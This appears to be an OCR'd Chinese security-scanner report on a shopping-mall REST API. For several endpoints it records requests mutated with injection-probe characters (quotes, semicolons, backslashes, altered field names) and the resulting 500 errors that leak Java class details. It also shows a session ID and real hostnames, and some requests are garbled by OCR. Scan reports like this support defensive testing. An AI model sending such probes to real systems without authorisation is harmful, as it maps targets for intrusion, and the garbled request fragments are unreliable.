Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US,en;q=0.8
```

```
{
  "goodsid[]": 105190,
  "stockqty": "+12",
  "departmentid": 1670
}

HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,POST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Unrecognized field "goodsid[]" (Class com.suneee.scn.goods.model.dbo.PubGoodsStock), not marked as ignorable
  at [Source: io.netty.buffer.ByteBufInputStream@522f548c; line: 1, column: 20] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["goodsid[]"])
```

变体-|6/10

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

```
测试请求和响应:
```

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 52
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": "'",
 "stockqty": "+12",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value ''': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@374d04ca; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["goodsid"])
```

变体- | 7 / 10

差异: 参数 从以下位置进行控制: 105190 至: (1

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 54
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": "\
 "stockqty": "+12",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '\'': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@4a26b8eb; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["goodsid"])
```

变体- | 8 / 10

差异: 参数 从以下位置进行控制: 105190 至: ;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 52
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": ";",
 "stockqty": "+12",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
```

```
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value ';': not a valid Long value at [Source: io.netty.buffer.ByteBufInputStream@27af4119; line: 1, column: 2] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["goodsid"])
```

变体- | 9 / 10

差异: 参数 从以下位置进行控制: 105190 至: "

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 53
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
       "goodsid": "\"",
 "stockqty": "+12",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '"': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@3e4977be; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["goodsid"])
```

变体- | 10 / 10

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 55
sessionId: c5b8689a1098705cd3ffdff0d57563a1
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": "\\
 "stockqty": "+12",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '\"': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@27d82f28; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["goodsid"])
```

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应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsonoffdetail/updateGoodsOnOff
实体:	->"goodsonoff"[0]->"enterpriseid" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/10

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 89
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
```

```
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": "
                                         55XYZ",
                 "departmentid": 1670,
                 "goodsid": 105190,
                 "status": 0
        ]
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '55XYZ': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@116f17d3; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["enterpriseid"])
```

变体- | 2 / 10

差异: 参数 从以下位置进行控制: 55 至: 55xyz

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 89
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": "
                                          55XYZ",
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status": 1
}
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
```

```
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value '55XYZ': not a valid Long value at [Source: io.netty.buffer.ByteBufInputStream@7aa424fe; line: 1, column: 17] (through reference chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]->com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["enterpriseid"])
```

变体-|3/10

差异: 参数 从以下位置进行控制: ->"goodsonoff"[0]->"enterpriseid" 至: __ORIG_VAL__.

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 85
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid.": 55,
                 "departmentid": 1670,
                 "goodsid": 105190,
                 "status": 0
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "enterpriseid." (Class com.suneee.scn.goods.model.dbo.PubGoodsonoffDO), not
marked as ignorable
 at [Source: io.netty.buffer.ByteBufInputStream@3ef504da; line: 1, column: 35] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["enterpriseid."])
```

变体- | 4 / 10

差异: 参数 从以下位置进行控制: ->"goodsonoff"[0]->"enterpriseid" 至: __ORIG_VAL__.

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 85
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid.": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status": 1
        ]
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "enterpriseid." (Class com.suneee.scn.goods.model.dbo.PubGoodsonoffDO), not
marked as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@7327cc2; line: 1, column: 35] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["enterpriseid."])
```

变体-|5/10

差异: 参数 从以下位置进行控制: (->"goodsonoff"[0]->"enterpriseid") 至: ORIG VAL []

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 86
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid[]": 55,
                 "departmentid": 1670,
                 "goodsid": 105190,
                 "status": 0
```

```
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,FOST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Unrecognized field "enterpriseid[]" (Class com.suneee.scn.goods.model.dbo.PubGoodsonoffDO), not
marked as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@2fbc7fe4; line: 1, column: 36] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["enterpriseid[]"])
```

变体-|6/10

差异: 参数 从以下位置进行控制: 55 至: %27

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 85
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": "'",
                 "departmentid": 1670,
                 "goodsid": 105190,
                 "status": 0
        1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value ''': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@639f7d7b; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["enterpriseid"])
```

变体-|7/10

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 85
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": "'",
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status": 1
}
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value ''': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@13a91b6; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["enterpriseid"])
```

变体- | 8 / 10

测试请求和响应:

差异: 参数 从以下位置进行控制: (->"goodsonoff"[0]->"enterpriseid") 至: (_ORIG_VAL_[]

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 86
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US,en;q=0.8
```

```
"goodsonoff": [
                 "enterpriseid[]": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status": 1
        ]
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:22 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "enterpriseid[]" (Class com.suneee.scn.goods.model.dbo.PubGoodsonoffDO), not
marked as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@6f136795; line: 1, column: 36] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["enterpriseid[]"])
```

变体- | 9 / 10

差异: 参数 从以下位置进行控制: 55 至: (1)

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 87
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
  "goodsonoff": [
                  "enterpriseid": "\
                 "departmentid": 1670,
                  "goodsid": 105190,
                 "status": 0
         1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:22 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '\'': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@1ba99fb6; line: 1, column: 17] (through reference
```

```
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["enterpriseid"])
```

变体- | 10 / 10

差异:

参数 从以下位置进行控制: 55 至: ()

推理:

应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 87
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": "\
                                         \"",
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status": 1
       ]
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:22 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '\'': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@43c13f5e; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["enterpriseid"])
```

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应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsonoffdetail/updateGoodsOnOff
实体:	->"goodsonoff"[0]->"goodsid" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/9

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 89
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
"" " 105190XYZ",
                 "departmentid": 1670,
                "status": 1
                }
        ]
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '105190XYZ': not a valid Long
value
at [Source: io.netty.buffer.ByteBufInputStream@58789665; line: 1, column: 34] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["goodsid"])
```

变体-|2/9

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 85
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid.": 105190,
                 "departmentid": 1670,
                 "status": 1
        1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "goodsid." (Class com.suneee.scn.goods.model.dbo.PubGoodsonoffDO), not marked
as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@7adld6a7; line: 1, column: 52] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["goodsid."])
```

变体-|3/9

差异: 参数 从以下位置进行控制: ->"goodsonoff"[0]->"goodsid" 至: __ORIG_VAL_[]

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 86
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US,en;q=0.8
```

```
"goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid[]": 105190,
                 "departmentid": 1670,
                 "status": 1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:22 GMT
